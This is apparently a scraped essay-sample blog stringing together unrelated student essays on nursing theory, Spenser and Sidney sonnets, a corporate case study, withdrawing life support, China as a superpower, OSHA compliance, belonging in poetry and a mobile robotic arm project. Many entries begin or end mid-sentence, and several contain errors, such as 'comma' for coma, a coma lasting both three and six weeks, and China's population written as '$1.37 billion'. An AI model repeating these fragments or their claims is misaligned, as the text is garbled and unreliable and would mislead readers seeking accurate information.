Monday, September 30, 2019

In Focus: Faye Glenn Abdellah’s Patient-Centered Approaches

For years, the existence and acceptance of nursing theories in different settings and aspects of nursing practice has transformed the profession in diverse ways both here and abroad. The utilization of such theories has provided the nursing community with specific knowledge and ways to enhance and develop skills and attitudes of nursing professionals in the practice of the profession. It has greatly helped in creating and sustaining our professional independence from the field of medicine by guiding our educational system, research methods and practice towards safe and quality care to patients (Marriner-Tomey, 1994; McLemore & Hill, 1965).The significance of studying nursing theories does not end with the benefits it may serve the profession in general. It also helps an individual, either a student or a nursing professional in several ways. An individual is able to develop critical thinking skills, able to differentiate values and hypotheses and able to find out purpose of functions in relation to the scope of practice of the nursing profession (Kozier, Erb, & Oliviere, 1995).In line with this, this paper attempts to analyze and evaluate a relevant nursing conceptual model authored by a renowned nurse theorist— Faye Glenn Abdellah, using the J. Fawcett’s Framework of Analysis and Evaluation of Conceptual Models of Nursing.Influenced by Virginia Henderson’s 14 principles of nursing, Maslow’s hierarchy of needs and Erik Erickson stages of development, Abdellah formulated her structural model with the goal of teaching and evaluating students and at the same time emphasize the need to create a body of knowledge exclusive to our profession that will help in gaining independence from the control of the medical profession  toward  patient-centered  care (Sigma Theta Tau International Honor Society of Nursing, 1998).Faye Glenn Abdellah authored the typology of 21 nursing problems which was initially published in the 1960 edition of Pat ient-Centered Approaches to Nursing. Since its initial appearance, the typology had major impact on the nursing profession as well as on the development of other nursing theories (Sigma Theta Tau International Honor Society of Nursing, 1998).Abdellah’s typology of 21 nursing problems is a conceptual model which describes the significant concerns of nursing instead of linking different relationships into phenomena. The conceptual model is mainly concerned with patient’s needs and the role of nurses in problem identification using a problem-solving approach. Abdellah’s work is classified under the nursing philosophy category in the sense that her work is based on analysis, rationalization, research and logical argument instead of using experiential methods. Logically speaking,Abdellah’s model can be described as inductive since she derived observations from previous studies which became the basis for her conceptualization. Philosophical statements are said to be based on opinions, arguments or propositions of different people. These statements are not experimental in nature because such statements based on goal, traditions and/or values cannot be tested for its correctness or wrongness (Marriner-Tomey, 1994).In  analyzing  and  evaluating  Abdellah’s  theory, her  work  cannot  be  separated  from  the  historical  background  where  the  conceptualization  of  the  21  nursing  problems  started.  It  was   in  the  1950s  when  the  nursing  profession  faced  a  lot  of  difficulties  arising  from  the  rapid   societal change and increasing demand for technological advancement. The methods and system used at that time  did not support and meet the demands of the rapid change thus creating a backlog in the nursing community.There was a lack of definition of nursing— its focus, scope and limitations especially that healthcare delivery to patients is mainly based on achieving institutional goals rather than meeting patient’s needs. The present system did not assist both the students and professionals in being attuned with the changes. Abdellah related this to the lack of scientific body of knowledge unique to the profession. That is why the formulation of the theory differentiated the practice of nursing from the practice of medicine emphasizing focus on 21 nursing problems that help patient in achieving state of wellness (Marriner-Tomey, 1994).Abdellah used the problem-solving approach in formulating the theory. She believes that a nurse should be able to identify and solve problems of patients in order to provide safe and quality care to patients. This identification of nursing problems, selection of data necessary to formulating and testing of interventions in assisting patient towards state of wellness closely resembles the nursing process. Abdellah pointed out that patients cannot receive quality care if the steps are done improperly. In my opinion, Abdellah’s approach is effective in the sense that the approach guarantees positive client response if the steps are specifically and carefully executed. This approach also improves a nursing professional skills and attitude by enhancing problem-solving abilities through identification of nursing problems in meeting the needs of the patient (Marriner-Tomey, 1994).Abdellah’s model includes four (4) fundamental concepts essential to nursing— person, environment, health and nursing. The first major concept is the person. The concept of person is described as people having physical, physiological and sociological needs. In her conceptual model, the person or patient is the main reason for the existence of nursing. However, this is quite contradicting since the typology of 21 nursing problems lacks holism. The model entails that a person returns to an improved state only by resolving each problem identified by a nursin g professional. It lacks holism in the sense that the patient or person which, is considered as a whole is not greater than the sum of it parts represented by his problems (Marriner-Tomey, 1994).Another major concept included in her theory is the concept of environment. This concept is the least conferred  and least emphasized in her theory. This is mentioned limitedly in problem number 17. The model explains that the patient more often than not interrelate and act in response to the environment. It also explains that the nurse is also a part of the patient’s environment thus the nurse takes responsibility in making the environment conducive for restoration of health. Abdellah also states that environment is also the home and community from where the patient comes from that is why Abdellah emphasized the need to broaden our scope in identifying problems and not limit our scope in the hospital setting (Potter & Perry, 1993).The third concept is health. Abdellah discussed hea lth as a state without illness. It is defined as a state without unmet needs and no anticipated or actual impairment. This is clearly exemplified in the list of 21 nursing problems. Abdellah also advocates holistic approach to patient-centered care and furthering the relevance of environmental factors in the concept of health (Potter & Perry, 1993).The last major concept is nursing. The concept of nursing is an essential element of her writing. In her model, nursing is defined as provision of service to individuals and families; therefore to society. It is mainly providing service to or for the patient or providing information that will significantly assist the patient in restoring health and alleviating impairment. Abdellah therefore viewed nursing as a helping profession (Sigma Theta Tau International Honor Society of Nursing, 1998)..Although Abdellah’s work provided a comprehensive meaning of the four major concepts, there are no statements in Abdellah’s writing tha t states any direct relationships among the four concepts. Each concept was only defined implicitly and no relational statements can be made out of it. The model is mainly concerned on development of a unique body of knowledge, which is nursing, through which identification of nursing problems and utilization of the problem-solving approach assists patients in meeting their needs.The model is said to have limited concepts and is only presented in a structural list. After Abdellah’s work has been published, her formulation of the 21 nursing problems has been a helpful tool in the areas of nursing practice, nursing research and nursing education (Sigma Theta Tau International Honor Society of Nursing, 1998).In our nursing practice, Abdellah’s typology of 21 nursing problems has helped nursing professionals in dealing with patient care in an orderly and well-structured manner. In using this typology, a nursing professional, with the problem-solving approach, is able to id entify patient’s problems, plan for his care and implement nursing interventions for the identified problem in a scientific manner.This problem-solving method has transformed our practice as we attempt to focus our attention to the client himself rather than focus on client’s medical condition which is more of the objective of the medical profession. Nursing professionals have also learned and understood the rationale behind each and every action we deliver to the client (Sigma Theta Tau International Honor Society of Nursing, 1998).Abdellah’s work has also provided significant changes in the area of nursing research as well since her work is basically based on research too. Many theories have been developed since the introduction of Abdellah’s work. The present nursing diagnosis classification system is presumed to be an outgrowth of this typology. This nursing philosophy continues to be a preferred basis of nursing studies at present (Sigma Theta Tau In ternational Honor Society of Nursing, 1998).Nursing education also benefited from Abdellah’s work. As previously explained, there was a lack of scientific body unique to our profession that hindered our independence from the medical profession. Abdellah’s work presented such unique body and gave the nursing profession a chance to come out of the control of the medical model. Gaining professional autonomy has helped the nursing community project a professional identity that has been widely accepted all over the world   (Potter & Perry, 1993).Abdellah’s nursing philosophy brings about nursing activities that meet not only client’s needs but of the society as well in the long run if each goal is carefully achieved through the problem-solving approach making this nursing philosophy socially significant. Abdellah’s work is socially significant because the 21 nursing problems elicit relevant nursing actions that lead to the improvement and restoration of client’s health status which in turn aids the client in resuming activities of daily living increasing his productivity level thus benefiting the society   (Potter & Perry, 1993).In conclusion, Abdellah’s typology of 21 nursing problems remedied the predicaments faced by the profession in earlier times. It has helped teach and evaluate student’s competency through its formulation. It provided a means of gaining autonomy from the practice of medicine through the creation of a scientific body of knowledge unique to nursing.Abdellah’s work is very straightforward and uncomplicated. It explicitly described the major concepts essential to nursing such as nursing itself, nursing problems and the problem-solving approach through which the problems can be intervened. The concepts of health, person and environment which are now included in the scope of nursing are also implied.The goals of this model vary but all are directed to affect nursing. The extensive goal of this model is to generally elicit positive transformation in nursing education while its subgoals would include providing a scientific basis for practice and a tool in evaluating student’s capacity and competency (McLemore & Hill, 1965).To date, Abellah did not only meet the goal of her work. Her work has also affected different aspects of nursing— nursing practice, nursing research and nursing education in general. As emphasized in this paper, Abdellah’s overall contribution to the body of nursing is the acquisition of professional autonomy and professional identity through the creation of the 21 nursing problems. Her problem-solving approach increases our assessment and critical-thinking skills needed in identifying client’s concerns to properly plan, select and implement our healthcare. It also enhances and promotes nurse-patient interaction as we make patients the central focus of care instead of focusing on the disease process (Parascandola, 1994).Nursing has been practiced as profession for more than a century. The profession was based merely on rules, concepts and experiences passed on by professionals to students. It was only in the advent of serious discussion and testing of theories that nursing has been established as a science. Through Abdellah’s work and the development of other relevant nursing theories, we have proven that our profession can stand by itself and achieve our goals towards patient-centered care (Parascandola, 1994).

Sunday, September 29, 2019

College List Essay

Pg. 211 Check Comprehension 1. The speaker addresses the happy leaves, the happy lines, and the happy rhymes. The listeners are asked to deliver what he feels to the women he loves. 2. In Sonnet 35 the speaker wants the same type of visual devotion from his wife as he is to her. 3. In Sonnet 35 the speaker compares his eyes to narcissus and his own-self infatuation. 4. In the first four lines the speaker writes his wives name in the sand twice and then the tide washes the names away both times. One speaker is Edmund Spenser and the other is his wife. Critical Thinking 1. The Physical and emotional state of the speaker is evolved around the desire of having the girl because he doesn?t have her he is starving and becoming unhealthy emotionally, he is depressed because his heart is throbbing without her. 2. The ?object of their pain? that the speaker is talking about is the inability for his wife to give affection to him, but he gives it to her. 3. It expresses morality and poetry as being the same because once it is written it begins to fade and morality begins to fade also. 4. Pg 213 Check Comprehension 1. In sonnet 31 the speaker addresses the moon. 2. In sonnet 31 the moon appears to the speaker weak, sickly, and pale. The speaker believes that the cause of the moons sadness is that it does not receive the love that it deserves. 3. The six benefits that the speaker attributes to sleep are the certain knot of peace, the baiting place of wit, the balm of woe, the poor man?s wealth, the prisoners release, and the indifferent judge between the high and low. 4. In sonnet 39 the speaker wants to sleep to shield or escape his sorrow. Critical Thinking 1. The connection between the appearance moon and the thoughts that the speaker utters is that they both have pale and sickly faces that look very sad. 2. The speaker is seeking escape from his sorrow though sleep by using it as a shield. 3. Judging by what is said in each sonnet you can make the conclusion that each speaker is yearning for his love because they got into a fight and were separated. 4. The speakers lover might scorn the moon because of it?s love for her. 5. Sonnet 39 talks about his desire to sleep are related to how people still deal with problems. People believe psychologically that it heals their problems.

Saturday, September 28, 2019

Analysis of the problems

This case study highlights about the analysis of the problems, background, theories, and action plans. Before exploring Tucker Company, it is necessary to know the background including its past and present. It will be discussed further about the problems in Tucker Company that occurred when it reorganizing its company into 3 new divisions. The 3 new divisions are also known as 3 new product lines of Tucker Company. In the following point, it draws the relation among those problems with some managements theories. In the end of this report, it will also be provided what the company should do to solve those problems. II)Case background Tucker Company carried out an extensive restructuring I 1978 which divide the company into three major product lines and will lead by a new vice – president and he will report to Mr. Harnett, the CEO of Tucker Company. The new product lines were commercial jet engines, military jet engines and utility turbines. Each division would have their departments such as manufacturing, engineering and accounting department. There was a old laboratory which continue support the three main division after the reorganization. Mr Hodge was the new manager of the laboratory manager in 1988. He focused more on his own advancement more than the company’s development. Few months later, several conflicts occurred in his laboratory and he was the main reason which caused this conflicts. Argument happened between Mr. Hodge and Mr. Franklin, the manager of engineering department over the implementation of the results and the time of handling his request taking a longer time under his management. The arguments between Mr. Hodge and Mr. Franklin occur successively and caused one of the Mr. Franklin’s projects failed. III) Problem analysis Problem that occurred in Tucker Company is conflict while the progressing of Tucker Companys reorganization its company into 3 principle product lines. It was about personal conflict between Hodge and Franklin who disagreed over the implementation of the materials. Even though it was personal problem, it could affect all aspects of the company and it might become a crucial matter. The engineer of the utility turbine division, Mr. Franklin, wanted his department to be in charge in final decision of the materials. Meanwhile, Mr. Hodge, the new laboratory manager, as the replacement of the previous laboratory manager which was Mr. Garfield. Mr. Hodge stated that he is a metallurgist. Thus, the final decision should be on him. Unlike Mr. Garfield, from the point of view of Mr. Hodges peers, he was more interested in his own advancement rather than companys advancement. IV)a)Theories Management theory – divisional structure Divisional structure can be defined as a structure which usually consists of several parallel teams focusing on a single product or service line. Tucker Company applies this divisional structure and divides into 3 product lines which were commercial jet engines, military jet engines and utility turbines. There were some advantages and disadvantages of this divisional structure. i)Advantage The advantage of using divisional structure was that every team or group will be focused on a single product and supported by a leadership structure. The manager has to divide the workers with same abilities and talents into a same group and focus on the product which they were expertise in. Through this method, the company will become more effective and will have higher productivity. Furthermore, due to the division, it is easier for manager to measure their performance. Another advantage by applying this divisional structure will be each product lines were self sufficient and flexible. The divisional structure was designed so each teams or groups were self-sufficient which means each group will have its own department. For instance, in Tucker Company, 3 new product lines will have its own department such as engineering department, manufacturing department and accounting department and these groups will operate separately so that these groups can focused on a particular goal. ii)Disadvantage On the other hand, the disadvantage for this divisional structure was the cost of operations was usually very high. In Tucker Company, each products line will have their departments and each department needed its own resources and these will increase the cost of operations. In addition, each product lines will have 1 divisional head and conflicts between divisional heads will occurred when every divisional heads wants to show their supremacy. Company could not operate well if every divisional heads would not cooperate well and could not meet the company’s goals and objective. b)Theory of scarcity First of all, scarcity means unlimited wants and limited resources and it was impossible for a company to meet all goals at the same time. Same problem happened in Tucker Company. Tucker Company has 3 products lines but only 1 laboratory. It was simply means that the company has scarce resources which refer to the laboratory. 3 departments are using 1 laboratory at the laboratory cannot used by three departments at the same time. So they have to choose which departments have to use first and other department shave to give up using it. Argument between departments will eventually occurred and these argument only can be solved or minimize by maximized the resources.

Friday, September 27, 2019

Will They Ever Pull the Plug Essay Example | Topics and Well Written Essays - 750 words - 1

Will They Ever Pull the Plug - Essay Example Elmer’s wife of 50 years, Wilma Beard, is requesting the hospital to remove her husband from the life support system and spare him the torture of living as a vegetable, recognizing no one and being given food by a pipe through his nose. She says that the comma has now persisted for three weeks, and there is no hope of Elmer recovering. Wilma says that having spent 50 years married to him; she is much attached to Elmer and his pitiful condition is causing her a lot of misery. The internist attending to Elmer, Dr. James A. Duncan, does not agree with Wilma and will not remove Elmer from the respirator and let him die. Dr. Duncan has consulted two other specialists regarding the best decision to take, due to the sensitivity of the case. These two, neurologist Morris, D, Lampert and lung man Leopoldo Lapuerta, agree with Dr. Duncan that it would be professionally wrong to remove Elmer from the respirator. Thus, Dr. Duncan has stuck to his decision to keep Elmer alive with the life support system. Wilma Beard’s demand to Dr. Duncan is morally wrong. First of all, Dr. Duncan still has hope that Elmer Beard might recover. Removing Elmer from the respirator would be murder since according to the internist; Elmer has a fleeting chance of recovering from the coma. The fact that there is a possibility for recovery means that Elmer might be able to make the decision himself if he recovers from the comma. The three doctors, Duncan, Lampert, and Lapuerta, are not sure whether Elmer will be able to communicate to some degree if he recovers or not. Therefore, they believe that the most conducive measure is to wait and see. The six weeks during which Elmer has been in the comma is too short a period to conclude that the comma will last indefinitely. Wilma has to be more patient and give the condition more time to see if there will be a change. Objection (1): Elmer Beard’s situation is hopeless. Even if there is some chance of him recovering, he is still

Thursday, September 26, 2019

Ethics in Information Technology Essay Example | Topics and Well Written Essays - 750 words - 1

Ethics in Information Technology - Essay Example The paper enabled me learning about the down side and the negative aspect of technology which comes in the form of security threat. I learnt this aspect and will help me working more actively and safely on the medium of internet. I also got familiar with the security aspect of cloud computing which is a concept of future days. It has given me a broader view of the ethical issues that are faced by the common internet user in the daily operations performing on internet. It will create awareness towards safe browsing and transactions of large scale. Through this learning, I will adopt number of different things like ensure more security towards passwords, be clear about whom to interact with online and who to avoid and also in case of file sharing, I will be further careful. Safer online operations mean safe working and this in turn means improved performance and quality work delivery. This in the end leads to much more improved career growth opportunities and excelling circumstances. This enables the company working successfully as well as the individuals. With the advancements in technology and I.T, the means of breaking into the network and other breaches also increase. This can be handled through equipping the devises more actively and further learning to operate safely through trainings guidelines and other related functions. Facebook for example is one of the largely used application however the considerations related to the terms and conditions of usage and various other online activities that are posted on the walls of the users profile make up for the concerns with respect to the social networking websites and the users safety. All this poses direct threat towards the users with regard to their privacy, family safety, financial safety and much more. All this can be overcome and prevented through the use of electronic mail. Hence electronic mail finds

China will be the next global superpower Research Paper

China will be the next global superpower - Research Paper Example Defining a Superpower When we look at the generic use of the term ‘super power’, the term refers to those selective states with power. Power in this perspective is defined by a series of prominent variables put together. These could be economic wealth, population size, military strength, and the possession of sophisticated nuclear armaments. Alice Lyman Miller, a professor at the National Security Affairs at the U.S. Naval Postgraduate School defines a super power in the following words â€Å"a country that has the capacity to project dominating power and influence anywhere in the world, and sometimes, in more than one region of the globe at a time." A super power comprises of four components that are dominant over all other qualifying elements; Military, economic, political and cultural. Hegemony, a Greek term for leadership plays a critical role in paving way for this supremacy. It is the ability to dictate policies of other nations. If we look back towards Roman and British empires this feat was accomplished by brute force. Germany attempted to benefit from it in the late 1930s and Russia’s efforts to work at it never really succeeded in the global sense. China however is often looked upon as regionally hegemonic. The U.S. achieved hegemony not just through sheer military might but through economic, political and cultural influence – factors that many perceive are diminishing now. A few years back, the presidential hopeful Ron Paul echoed what many analysts perceive: The "dollar hegemony" — U.S. currency's strength and attractiveness —  has been a key factor in U.S. dominance, but "our dollar dominance is coming to an end." And China has become a great power in a "spectacular" rise over the past two decades (Miller). China China is one of the earliest recorded human settlements in the world with nearly 4000 years of continuous history. It covers an Area of 16,800 square kilometers and has a population of about $1.3 7 billion. It is a communist state and its GDP is about $ 4.99 Trillion. Its currency is the Yuan and the capital of China is Beijing (China facts, web). China's population of 1.3 billion renders it the most populous nation on earth, accounting for a fifth of the world's population; while at almost 10 million square kilometers it is the third largest country after Russia and Canada. Its 2.25 million troops form the world's largest armed force. China's reputation as a major military power is crowned by the possession of nuclear weapons that are capable of all ranges and delivery modes. Economically, it is the world's fourth largest trading nation, having risen from 32nd  in 1978 and 10th  in 1997. Its GDP at 13% of world output (at purchasing power parity) is second to the US. China, inheritor of 5,000 years of civilization, is also the world's fastest developing economy in the present age, having grown an average of 9.5% annually for the past 20 years. Such high growth rates, lo w labor costs and a huge emerging market, have attracted the world's highest levels of foreign direct investment. Since China joined the World Trade Organization in December 2001, it has also become one of the most open economies in the developing world, with average tariffs dropping from 41% in 1992 to 6% after accession to WTO. China’s education system Despite the economic, military and political growth of China its education system due to the presence

Wednesday, September 25, 2019

AR7 Essay Example | Topics and Well Written Essays - 500 words

AR7 - Essay Example Since all Ebusiness transactions are used using the communication systems and without the need of ever doing business face-to-face. Such liberty has developed various models within ebusiness such as B2B. B2C, C2B. G2B etc. There are basically three types of e business, 1-to buy and sell goods, 2-inter and intra organization information exchange, and 3-customer service. The website: Bewari is a B2B service provider with a portal for suppliers and consumers. The suppliers could list their products and other businesses and governments can purchase them through beware portal website. Bewari vision is to become a leading ebusiness B2b service provider and change the way business is done in the Middle East. The website currently has 60,000 trading partners with 50,000 online auctions worth over $2.5 billion. The customer base includes governments, large business, trading companies etc. The company deals in several countries of Middle East with a franchise approach. The company has good future forecasting and is expected to raise the number of member, it also has several quality and branding awards. The products transacted on site are from oil and gas to FMCG industry. The website deals like any other portal providing facilities such as contacting customers, catalogues, and auto extend auctions etc. Bewari also provides training for online procurement an d procurement consulting. The company is now working with the government on creating an online directory of all the companies in the region. The future plans include starting up a business to consumer website; however it is far from implementation. The website is powered by oracle which provides safe and reliable trading software. It helped saved reduced procumbent cycle times to government workshops, airlines, and regional electricity and construction companies. The extended market reach helped small IT products

Tuesday, September 24, 2019

Surface analysis Assignment Example | Topics and Well Written Essays - 1750 words

Surface analysis - Assignment Example These ions on collision dislodge atoms from the surface creating secondary ions. Using a combination of electrostatic and magnetic fields which distinguishes the ions on the mass to charge ratio, these secondary ions are drawn into a mass spectrometer. By varying the strength of the magnetic field one can assess ions of different mass to charge ratios. (Surface Analysis, 2000) Some of the applications of SIMS include (i) Identifying the isotopes in a material that might have same atomic masses as it is capable of producing mass resolutions to tune of 7000. (ii) It is capable of finding out the extent of impurity concentration present in a specimen and represents the same as a function of depth. The sensitivity of this instrument is in the range of 1 ppb (-10^13 at/cm^3) (iii) It can accurately map the interface layers and the impurities that may be located at these grain boundaries. (iv) It uses the raster scanning technique to produce three dimensional images of the grain distributi on. (v) Using the secondary ions it can directly produce an image showing the arrangement of trace elements. Source: Surface Analysis, 2000 2. ... Some of the applications of AES include (i) This is used to identify compositions of elements in solid materials with high output sensitivities in the range of 0.5 atomic percent for lithium to uranium. (ii) This is useful in carrying out the volumetric analysis of a specimen. (iii) This is capable of producing magnified images to the tune of 20000x and is used extensively in microelectronics. 3. X-Ray Photoelectron Spectroscopy (XPS) (Surface Analysis, 2000) This advanced technique uses x rays in dislodging electrons from specimens and these have distinct kinetic energies depending on the nature of emitted electrons. It is particularly useful in providing information regarding the type of bonds that exist between electrons. This is because any change in binding energy is reflected in the XPS spectrum chart which shows crests and troughs. The crests obviously reflect the high chemical boding energy that existed and the troughs vice versa. Its applications include (i) Determining mole cular composition of surfaces along with information regarding the atomic bonding. (ii) It can identify very accurately to the tune of 0.5 atomic % the presence of lithium and uranium. (iii) This can create depth profiles for materials in the range of 1Â µm thickness. (iv) This method of analysis is particularly useful to study functional groups in polymers. 4. Scanning Probe Microscopy (SPM) This is also referred to as Atomic Force Microscopy (AFM). This is capable of generating a profile that shows the topographical nature of the specimen surface. Schematic of atomic force microscope operation Source: Surface Analysis, 2000 This essentially consists of a tip mounted on a cantilever. The specimen is placed below this cantilever and

Sunday, September 22, 2019

OSHA Essay Example | Topics and Well Written Essays - 500 words - 1

OSHA - Essay Example I would gain the necessary knowledge and fully understand how it applies to the business industry I am in. More so, I would, absolutely, provide the necessary training to all employees; that way everyone is on the â€Å"same page.† If everyone is clear in what is necessary, expected, and why it is important then, very likely, the business would operate efficiently, effectively, and safely. Regardless of the industry your business falls under, agricultural, construction, health care, mining or manufacturing, there are available resources for understanding and implementing the proper health and safety requirements for your business. The most important element to making certain that the necessary OSHA requirements are being met is through guaranteeing that the safety and health policies within the company are enforced Larger business, in particular may not be aware that their managers, supervisors, and employees are not following or enforcing the requirements. This can become a problem because OSHA can appear for an impromptu inspection; no prior warning is required. For this reason, I think I would be very vigilant and actively involved in making certain that all rules and procedures are being followed. Also, although I am not a fan of a â€Å"snitch mentality† among the workers, I would make certain that there were safe and anonymous way for anyone who witnesses serious negligence in regards to safety or its policies; the anonymity will prevent fear of retaliation and give the business the opportunity to step into the situation and fix the problems. I think that if I provide the training, lead by example, and follow all procedures then the business I am responsible for will remain OSHA friendly. OSHA is an organization filled with the research, hard work, and effort of thousands of Safety Professionals.("Industry-Specific Resource: OSHA" 1) The safety professions, in simplest terms, are those

Saturday, September 21, 2019

Belonging in Ancestors and Feliks Essay Example for Free

Belonging in Ancestors and Feliks Essay Fundamentally one can only really feel a true sense of belonging for a nominal moment in time. The actual instance of belonging is intangible and not permanent. Due to this, any form of belonging will involve compromise, sacrifice and some degree of tension as different ideals compete for supremacy. We will continue to accumulate different senses of belonging and disregard the others as we grow, evolve and adapt to different situations. Due to the varying and conflicting belonging ideals, we will become frustrated and the joy of belonging may become a burden upon us at times. This frustration and momentary joy of searching for ones place of belonging are explored in Skrzynekcis Ancestors and Feliks, as well as Homecoming a novel by Cynthia Voigt. It implores the audience of these texts to relate to the happenings of the characters in the texts. The texts requires us to place ourselves in the shoes of the characters feeling their sense of connectedness, belonging and self identity through the links of family ancestors and or heritage. The poem Ancestors allows the reader to be positioned to feel the connection through our own ancestors and the attributes they bring to the forefront. They allow us to delve into the unknown or forgotten realms of our own history and allows us to draw upon these memories in order to feel content with our own sense of identity within society. It is a basic human notion of feeling as though we are not alone and we are apart of something greater then ourselves. In the poem Shrzynecki, there is an attempt to illustrate to the audience that he feels a sense of isolation in regards to the separation from his ancestors. The poem represents that without a clear understanding of our own history or ancestry we lack a clear sense of self as we are unaware of our past values, motives and/or attributes. This representation of ideas is presented through the use of metaphor and narrative voice. The Star metaphor To what star do the footprints lead? represent an unclear sense of direction the star being the focal point of navigation which demonstrates the idea that without knowledge of your ancestry we cannot be certain of our place in this world. Another prominent language feature in this poem is the use of rhetoric. The rhetorical questions of who, what, why and where represent the uncertainty of the Authors own past as there is a missing link from his ancestors and himself. The use of second person narrative voice in Ancestors, for example why do you wake positions the reader to look beyond the constraints of Skrzynekcis written words and to consider our own ancestry. A The second text Feliks illustrates to the audience that we need some type of belonging in order to fit into society. In the poem the father drew upon his memories of Poland through his garden. Skrzynekci on the other hand was unable to create a link to his heritage or the present as he was torn between the new society and his old traditions. He failed to create a solid link to either of his heritages and thus conflict is presented to Skrzynekci. This conflict is one that creates many difficulties in regards to the way Skrzynekci related to his family and friends. In the first stanza of the poem My gentle father kept pace only with the joneses of his own minds making link to the fact that his father was not affected by the outside happenings and he was the only one whom dictated the way in which he did things. This then put strain on Shrzynecki as he began to feel more and more isolated from the new society as his father was rejecting the new practices rather then assimilating. Another present language feature is the use of hyperbole. The hyperbole ten times around the world is used to exaggerate Skrzynekcis thoughts in regards to his father. Throughout the poem it is evident that Skrzynekci holds his father in high esteem and wishes not to disappoint his parents by choosing to assimilate into the Australian culture. This leaves Skrzynekci in an isolated state as he does not feel a sense of belonging to either the old or new heritage. In the novel Homecoming the theme of belonging runs throughout the entire novel. The novel tells the story of the 4 Tillerman children as they find themselves alone in their car (being abandoned by their mother), some miles from their home, in a shopping mall parking lot in Peewauket, Connecticut. The children go on a journey in order to find a place to live; a search for a home, a physical place where they can belong. They end up living with their grandmother. Through their journey in the novel they search for belonging within themselves, realizing that they are stronger as a family and that, although they have different personalities, strengths and weaknesses, they belong together. The children also struggle to see where they belong in the wider world, in society, as individuals and as a unit. It becomes apparent though the novel that family is a major symbol of belonging as within the home front the children learn this vital concept. Their Homecoming is a journey that leads them to a long-lost grandmother who remains the key to unlocking their family history and ancestry. They start to learn that families can be fragile, and that if they are not nurtured and protected, they can fall apart as in the case of their family. In regards to the contrasting of the three various texts one must position themselves both in the own realms of society and that of the author. We have to adapt to the authors context in order to fully comprehend the text and its entirety. All three texts present the themes of belonging/not belonging within themselves and society. In regards to Skrzynekcis poems we are able to understand that any link, either being that of family ancestors or even heritage creates a sense of belonging due to the link we have created to something greater than ourselves. The novel Homecoming links to the poems through the use of not belonging and the sense that Peter Skrzynekci felt and expressed through his poems. Homecoming links indirectly to Ancestors as both texts bring family and its importance to the vanguard. Homecoming and Feliks contrast as they allow the audience to become aware of different senses of belonging, such as the garden in Feliks and the mother in Homecoming. However in both instances the texts allows one to feel as though they are connected even when they feel as though there is absolutely no sense of belonging present. To conclude, all the three texts above illustrate the importance and the evolving nature of belonging. Thus the fundamental necessity to belong brings to the forefront that motivation for living, the reason for feeling placed within society and the drive for continuing growth and development on our journey through life. SUPERFLUOUS SHORT SENTENCES ARE MORE IMPACTUAL CONCISE It may be as though we are unable to really feel a true sense of belonging and the only essence that is closets to true belonging is that to oneself. This would ultimately mean that we cannot be truly be connected to anything until at the end of ones life when we reflect upon all the different places of belonging. It also brings to the vanguard that one can only really feel a sense of connectives or understanding of self if they are aware of their own history. It allows us to no longer feel isolation as we can clearly see where our ideals, motives and values originated. The language features that are present in this text demonstrate these factors and enable us as the reader to further understand the text and its meanings.

Friday, September 20, 2019

Mobile Robotic Arm Motivation Computer Science Essay

Mobile Robotic Arm Motivation Computer Science Essay Robotics is technology that deals with the design, construction and operation of  robots  that are used in numerous applications is called robotics. It has become an unstoppable force in the development of modern machinery as they make life easier. It is an interesting topic to dwell in as it is the future of mankind. Although we know them as recent inventions, the idea of automated or controlled machines has fascinated humans. With this fascination it motivated me to work on this project, building and programming a mobile robotic arm. It is my hunger to learn and attain knowledge that drives me towards this field of study for my project. C:UsersDanDesktopImages21042010(002).jpg Figure 1.1.1 : Mobile Robotic Arm 1.2 Introduction to Robotics Robotics is an interesting topic of research. Basically it is an engineering field that is concerned with research and creation of robots for various applications. Robots are machines that consist of electronic and mechanical parts such as gears and cogs put together for performing tasks in place of humans. They can be programmed to perform a whole range of tasks with ease. They are most desired for certain functions because they never tire, they can endure harsh physical conditions that is possibly life threatening and they never get bored or distracted from repetitious work. The number of robots has begun to increase in numbers everywhere as they make human labour almost non-existent with their efficiency and throughput. They can work with the simplest of materials to the most dangerous such as radioactive materials. They can be found more commonly in industrial use from production lines of factories to harvesting of fruits in orchards. In domestic use, from vacuum cleaning to lawn mowing where these domestic tasks have become boring for a human to undertake and would rather leave it to robots. In the more modern military use, robots play an important role to reduce human casualties from dangerous jobs such as bomb defusal and not forgetting space exploration where it might not be possible for humans to explore and for collecting terrain sample from foreign planets. For exploring enemy territories unmanned aerial vehicles are used from which these pilotless drones can search terrains for hostiles and fire on targets. Robots are meant to complete tasks that it is programmed to do. Programs can always be altered to suit the task at hand. As robots become more advanced they gain more features such as sensors and artificial intelligence as they become more human like. Examples of sensors include motion sensors, temperature sensors, light and many more various types. For example, in pathfinder robots we usually find a motion sensor which aids a robot in avoiding obstacles. In other applications for example in a water tank when the water has reached a certain level the sensor enables the robot to stop the flow of water. It can be used in industrial applications such as gripping objects from conveyor belts or it can be used in a more advanced role such as bomb defusal, where it would be dangerous for a human to interact. With camera attachments, humans can control these machines from a safe distance while completing the task at hand in a safe and efficient manner. In the medical field where a more delicate touch is required, a robotic arm can perform tiny incisions for a less invasive method. With a robotic arm jobs can be done with ease and efficiency and thus eliminate human errors and the costs that come with those errors. Figure 1.2.1 : Mars Rover 1.3 Objectives The aim of this project is to build a robotic arm for the purpose of lifting and moving small objects. It is just like a human arm with joints to facilitate movement. The end attachment features a gripper which is able to grab and hold objects and also a probe light in order to work in low light scenarios. The arm is controlled via wired remote. It is rested on a mobile base which is fitted with 2 rear wheels and 2 robot castors at the front. This allows the robot to move to the desired location where the object is. The objectives of this project are: To understand and develop core knowledge in robotics. To apply the knowledge of robotics and design a prototype. To implement the designs and build an actual prototype. Figure 1.3.1 : Project Layout End Insert Instruction Codes into PIC Test Prototype Evaluate Coding in relation to hardware design Write Codes Discuss Movement Concept Propose Objectives1.4 Design Stage Figure 1.4.1 : Design Flow Chart This simple flowchart can explain the overall process involved in this project. After the objectives have been proposed the robot movement and motion concept is discussed and after that the codes are written. It is downloaded into the microcontroller for testing. If testing fails we return to the code stage and evaluate the coding. The process reaches the end after testing passes. Chapter 2: Robot Overview 2.1 Hardware Design This aim of this project is to design a mobile robotic arm. The arm part consists of two joints which enable 2 degree of movement and at the end of the top joint is a gripper which enables objects to be gripped by the attachment. The base has two wheels at the back and at the front two robot castors which has ball bearings underneath. This project involves two parts which is hardware and software. However both parts are intricately connected and it is hard to actually separate them completely. This report will focus more on the software aspect. There will be some minor hardware introduction as understanding of the hardware is required to work with the software. Here is the component list for the hardware: Component Amount Microcontroller PIC18F4520 1 Motor Driver SN754410 1 4.7k Ohm Resistor 1 1uF Capacitor 4 0.33uF Capacitor 1 0.1uF Capacitor 